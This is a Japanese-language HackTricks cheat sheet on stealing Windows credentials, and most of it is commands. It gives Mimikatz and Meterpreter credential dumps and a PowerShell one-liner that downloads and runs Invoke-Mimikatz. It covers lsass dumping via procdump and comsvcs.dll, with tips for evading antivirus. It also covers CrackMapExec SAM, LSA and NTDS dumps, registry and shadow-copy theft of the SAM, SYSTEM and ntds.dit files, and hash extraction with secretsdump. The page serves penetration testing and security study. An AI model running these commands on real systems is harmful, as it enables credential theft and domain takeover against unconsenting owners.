25 KiB
Windowsの資格情報の盗み出し
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
Mimikatzによる資格情報の模倣
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Invoke-Mimikatzを実行する
Invoke-Mimikatzは、Mimikatzというツールを実行するためのPowerShellスクリプトです。Mimikatzは、Windowsのセキュリティ機能をバイパスし、認証情報を盗むために使用されるツールです。
このスクリプトを実行すると、Mimikatzがメモリ内の認証情報を抽出し、平文のパスワードやハッシュ値を表示します。これにより、攻撃者はユーザーのパスワードを盗むことができます。
Invoke-Mimikatzは、管理者権限を持つユーザーが実行する必要があります。また、Windows Defenderや他のセキュリティソフトウェアによって検出される可能性があるため、注意が必要です。
詳細な手順や使用方法については、このページを参照してください。
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
ここでいくつかの可能な資格情報の保護方法について学びましょう。 これらの保護方法は、Mimikatzが一部の資格情報を抽出するのを防ぐことができます。
Meterpreterを使用した資格情報
被害者の中にあるパスワードとハッシュを検索するために、Credentials Plugin **を使用してください。**私が作成したものです。
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
AV回避
Procdump + Mimikatz
SysInternalsのProcdumpはMicrosoftの正規ツールであるため、Defenderに検出されません。
このツールを使用して、lsassプロセスをダンプし、ダンプをダウンロードして、ダンプからローカルにクレデンシャルを抽出することができます。
{% code title="lsassのダンプ" %}
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
{% code title="ダンプから資格情報を抽出する" %}
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
{% endcode %}
このプロセスは、SprayKatzを使用して自動的に行われます:./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
注意: 一部のAVは、procdump.exeを使用してlsass.exeをダンプすることを悪意のあるものとして検出する場合があります。これは、彼らが**"procdump.exe"と"lsass.exe"という文字列を検出しているためです。そのため、lsass.exeの名前の代わりに、procdumpにlsass.exeのPIDを引数として渡すことがステルス**になります。
comsvcs.dllを使用してlsassをダンプする
C:\Windows\System32
にあるcomsvcs.dllというDLLは、プロセスがクラッシュするときにプロセスメモリをダンプする役割を持っています。このDLLには、rundll32.exe
で呼び出すことができる**MiniDumpW
という関数が含まれています。最初の2つの引数は使用されませんが、3番目の引数は3つの部分に分割されます。最初の部分はダンプされるプロセスのID、2番目の部分はダンプファイルの場所、3番目の部分はfull**という単語です。他の選択肢はありません。これらの3つの引数が解析されると、基本的にこのDLLはダンプファイルを作成し、指定したプロセスをそのダンプファイルにダンプします。この関数のおかげで、procdumpをアップロードして実行する代わりに、comsvcs.dllを使用してlsassプロセスをダンプすることができます。(この情報はhttps://en.hackndo.com/remote-lsass-dump-passwords/から抽出されました)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
この技術はSYSTEMとしてのみ実行できることを念頭に置いておく必要があります。
**lssasy**を使用して、このプロセスを自動化することができます。
タスクマネージャを使用してlsassをダンプする
- タスクバーを右クリックし、タスクマネージャをクリックします。
- 「詳細」をクリックします。
- プロセスタブで「Local Security Authority Process」プロセスを検索します。
- 「Local Security Authority Process」プロセスを右クリックし、「ダンプファイルの作成」をクリックします。
procdumpを使用してlsassをダンプする
Procdumpは、sysinternalsスイートの一部である、Microsoftによって署名されたバイナリです。
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
CrackMapExec
SAMハッシュのダンプ
CrackMapExecは、Windowsネットワークでの認証情報の収集に使用される強力なツールです。このツールを使用すると、SAMデータベースからユーザーのハッシュをダンプすることができます。
以下のコマンドを使用して、CrackMapExecを使用してSAMハッシュをダンプします。
crackmapexec <target> -u <username> -p <password> --sam
このコマンドでは、<target>
にはターゲットのIPアドレスまたはホスト名を指定し、<username>
と<password>
には有効な認証情報を指定します。--sam
フラグを使用することで、SAMハッシュのダンプが有効になります。
SAMハッシュは、Windowsのユーザー認証情報を格納するデータベースであるSAM(Security Accounts Manager)から取得されます。これらのハッシュは、パスワードの解析やクラックに使用されることがあります。
CrackMapExecを使用してSAMハッシュをダンプすることで、ネットワーク内の脆弱性を特定し、セキュリティの向上に役立てることができます。ただし、このような活動は合法的なペネトレーションテストの一環として行われるべきであり、許可なく他人の認証情報を収集することは違法です。
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
LSAシークレットのダンプ
概要
LSA(Local Security Authority)シークレットは、Windowsオペレーティングシステムで使用される重要な認証情報を格納するための機能です。これには、ユーザーのパスワードやネットワーク共有のパスワードなどが含まれます。このテクニックでは、LSAシークレットをダンプして、これらの機密情報を取得します。
手順
-
ハッキング対象のWindowsマシンにアクセスします。
-
コマンドプロンプトまたはPowerShellを開きます。
-
lsadump::secrets
コマンドを使用して、LSAシークレットをダンプします。mimikatz # lsadump::secrets
-
ダンプされた情報を確認し、必要な認証情報を取得します。
注意事項
-
このテクニックは、管理者権限を持つユーザーによってのみ実行できます。
-
LSAシークレットのダンプは、セキュリティ上の重要な情報を取得するため、合法的な目的以外で使用することは違法です。
-
このテクニックは、ペネトレーションテストやセキュリティ監査などの合法的な目的で使用されることを前提としています。
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
ターゲットDCからNTDS.ditをダンプする
1. ターゲットDCに対して認証情報を取得するために、有効なユーザーアカウントを使用します。
2. リモートアクセスツールを使用して、ターゲットDCに接続します。
3. NTDS.ditファイルをダンプするために、以下のコマンドを実行します。
ntdsutil "ac i ntds" "ifm" "create full c:\path\to\dump" q q
4. ダンプが完了すると、NTDS.ditファイルが指定したパスに保存されます。
5. ダンプされたNTDS.ditファイルを解析して、ユーザーアカウントの認証情報を取得します。
注意: この手法は、適切な権限を持つユーザーによって実行される必要があります。また、法的な制約や許可なく他人のシステムにアクセスすることは違法です。
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
ターゲットDCからNTDS.ditのパスワード履歴をダンプする
1. ペントエスティングツールを使用して、ターゲットDCにアクセスします。
2. コマンドプロンプトまたはPowerShellを開きます。
3. `ntdsutil`と入力してEnterキーを押します。
4. `activate instance ntds`と入力してEnterキーを押します。
5. `ifm`と入力してEnterキーを押します。
6. `create full c:\path\to\output\folder`と入力してEnterキーを押します。出力フォルダのパスを指定します。
7. `quit`と入力してEnterキーを押します。
8. `quit`と再度入力してEnterキーを押します。
これにより、ターゲットDCのNTDS.ditファイルからパスワード履歴がダンプされます。ダンプされたファイルは指定した出力フォルダに保存されます。
この手順に従うことで、ターゲットDCからNTDS.ditのパスワード履歴をダンプすることができます。ダンプされたファイルには、ユーザーの以前のパスワードが含まれています。
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
各NTDS.ditアカウントのpwdLastSet属性を表示する
To display the pwdLastSet attribute for each NTDS.dit account, you can use the following PowerShell command:
Get-ADUser -Filter * -Properties pwdLastSet | Select-Object Name, pwdLastSet
This command will retrieve all user accounts from the NTDS.dit database and display their names along with the pwdLastSet attribute.
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
SAMとSYSTEMの盗み出し
これらのファイルは_C:\windows\system32\config\SAM_と_C:\windows\system32\config\SYSTEM_に配置されています。しかし、通常の方法では単にコピーすることはできません。なぜなら、これらのファイルは保護されているからです。
レジストリから
これらのファイルを盗み出す最も簡単な方法は、レジストリからコピーすることです。
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Kaliマシンにこれらのファイルをダウンロードし、次のコマンドを使用してハッシュを抽出します。
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
ボリューム シャドウ コピー
このサービスを使用して、保護されたファイルのコピーを作成することができます。管理者である必要があります。
vssadmin の使用
vssadmin バイナリは、Windows Server バージョンのみで利用可能です。
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
しかし、同じことをPowershellからも行うことができます。以下は、SAMファイルをコピーする方法の例です(使用するハードドライブは「C:」で、C:\ users \ Publicに保存されます)。ただし、これは保護されたファイルをコピーするために使用することができます。
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
コードは以下の本から取得できます:https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
最後に、PSスクリプトInvoke-NinjaCopyを使用して、SAM、SYSTEM、およびntds.ditのコピーを作成することもできます。
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directoryの資格情報 - NTDS.dit
Ntds.ditファイルは、Active Directoryのデータを格納するデータベースです。ユーザーオブジェクト、グループ、およびグループのメンバーシップに関する情報を含みます。また、ドメイン内のすべてのユーザーのパスワードハッシュも含まれています。
重要なNTDS.ditファイルは、次の場所にあります: %SystemRoom%/NTDS/ntds.dit
このファイルは、Extensible Storage Engine(ESE)と呼ばれるデータベースであり、公式には3つのテーブルで構成されています:
- データテーブル:オブジェクト(ユーザー、グループなど)に関する情報を含みます。
- リンクテーブル:関係(所属しているなど)に関する情報を含みます。
- SDテーブル:各オブジェクトのセキュリティ記述子を含みます。
詳細については、http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/を参照してください。
Windowsは_Ntdsa.dll_を使用してそのファイルとやり取りし、_lsass.exe_によって使用されます。そのため、NTDS.ditファイルの一部は、lsass
メモリの内部に配置されている可能性があります(おそらくパフォーマンスの向上のためにキャッシュが使用されるため、最新にアクセスされたデータを見つけることができます)。
NTDS.dit内のハッシュの復号化
ハッシュは3回暗号化されます:
- BOOTKEYとRC4を使用して、パスワード暗号化キー(PEK)を復号化します。
- PEKとRC4を使用して、ハッシュを復号化します。
- DESを使用して、ハッシュを復号化します。
PEKは、すべてのドメインコントローラーで同じ値を持っていますが、NTDS.ditファイル内でドメインコントローラーのSYSTEMファイルのBOOTKEYを使用して暗号化されています(ドメインコントローラー間で異なります)。これが、NTDS.ditファイルから資格情報を取得するためには、NTDS.ditファイルとSYSTEMファイル(C:\Windows\System32\config\SYSTEM)の両方が必要な理由です。
Ntdsutilを使用してNTDS.ditをコピーする
Windows Server 2008以降で利用可能です。
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
ボリュームシャドウコピーのトリックを使って、ntds.ditファイルをコピーすることもできます。SYSTEMファイルのコピーも必要です(再び、レジストリからダンプするか、ボリュームシャドウコピーのトリックを使用してください)。
NTDS.ditからハッシュを抽出する
NTDS.ditとSYSTEMのファイルを取得したら、_secretsdump.py_などのツールを使用してハッシュを抽出できます。
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
有効なドメイン管理者ユーザーを使用して、それらを自動的に抽出することもできます:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
大きなNTDS.ditファイルの場合、gosecretsdumpを使用して抽出することをおすすめします。
最後に、メタスプロイトモジュール _post/windows/gather/credentials/domain_hashdump_
またはmimikatz lsadump::lsa /inject
を使用することもできます。
NTDS.ditからドメインオブジェクトをSQLiteデータベースに抽出する
NTDSオブジェクトは、ntdsdotsqliteを使用してSQLiteデータベースに抽出することができます。秘密情報だけでなく、生のNTDS.ditファイルが既に取得されている場合に、さらなる情報抽出のためにオブジェクト全体とその属性も抽出されます。
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
SYSTEM
ハイブはオプションですが、シークレットの復号化(NTハッシュ、LMハッシュ、クリアテキストパスワード、Kerberosまたは信頼キー、NTハッシュ、LMハッシュのパスワード履歴などの補足的な資格情報)を許可します。他の情報と共に、以下のデータが抽出されます:ユーザーとマシンのアカウントとそのハッシュ、UACフラグ、最後のログオンとパスワード変更のタイムスタンプ、アカウントの説明、名前、UPN、SPN、グループと再帰的なメンバーシップ、組織単位ツリーとメンバーシップ、信頼されたドメインとその信頼のタイプ、方向、属性...
Lazagne
ここからバイナリをダウンロードします。このバイナリを使用して、さまざまなソフトウェアから資格情報を抽出できます。
lazagne.exe all
SAMとLSASSから資格情報を抽出するための他のツール
Windows credentials Editor (WCE)
このツールはメモリから資格情報を抽出するために使用できます。以下からダウンロードしてください: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
SAMファイルから資格情報を抽出します。
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
SAMファイルから資格情報を抽出します。
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
ここからダウンロードして、単に実行するだけでパスワードが抽出されます。
防御策
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。